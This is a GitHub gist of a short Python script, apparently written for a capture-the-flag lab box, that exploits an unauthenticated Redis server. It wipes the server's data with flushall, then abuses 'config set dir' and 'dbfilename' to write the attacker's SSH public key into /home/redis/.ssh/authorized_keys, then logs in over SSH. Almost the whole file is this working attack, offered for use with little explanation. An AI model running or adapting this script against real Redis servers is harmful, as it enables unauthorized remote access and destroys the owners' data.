Last active
March 3, 2020 14:57
-
-
Save m3dsec/6495989bd33e97530e275c56a3f197b0 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import os | |
| import os.path | |
| from sys import argv | |
| from termcolor import colored | |
| # Hadi ghi 7yt tbn mha mn hna | |
| #script, ip_address, username = argv | |
| # ip hwa hadak | |
| ip_address = "10.10.10.160" | |
| # username hwa hadak | |
| username = "redis" | |
| PATH='/usr/bin/redis-cli' | |
| PATH1='/usr/local/bin/redis-cli' | |
| def ssh_connection(): | |
| shell = "ssh -i " + '$HOME/.ssh/id_rsa ' + username + "@" + ip_address | |
| os.system(shell) | |
| if os.path.isfile(PATH) or os.path.isfile(PATH1): | |
| try: | |
| # print("\n") | |
| os.system('ssh-keygen -q -t rsa -C \"acid_creative\"') | |
| print("\t Keys Generated Successfully") | |
| os.system("(echo '\r\n\'; cat $HOME/.ssh/id_rsa.pub; echo \'\r\n\') > $HOME/.ssh/public_key.txt") | |
| cmd = "redis-cli -h " + ip_address + ' flushall' | |
| cmd1 = "redis-cli -h " + ip_address | |
| os.system(cmd) | |
| cmd2 = "cat $HOME/.ssh/public_key.txt | redis-cli -h " + ip_address + ' -x set cracklist' | |
| os.system(cmd2) | |
| cmd3 = cmd1 + ' config set dbfilename "backup.db" ' | |
| cmd4 = cmd1 + ' config set dir' + " /home/" + username + "/.ssh/" | |
| cmd5 = cmd1 + ' config set dbfilename "authorized_keys" ' | |
| cmd6 = cmd1 + ' save' | |
| os.system(cmd3) | |
| os.system(cmd4) | |
| os.system(cmd5) | |
| os.system(cmd6) | |
| # print ("\tYou'll get shell in sometime..Thanks for your patience") | |
| ssh_connection() | |
| except: | |
| print("3awd assat tconnecta") | |
| else: | |
| print ("\tRedis-cli:::::This utility is not present on your system. You need to install it to proceed further.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment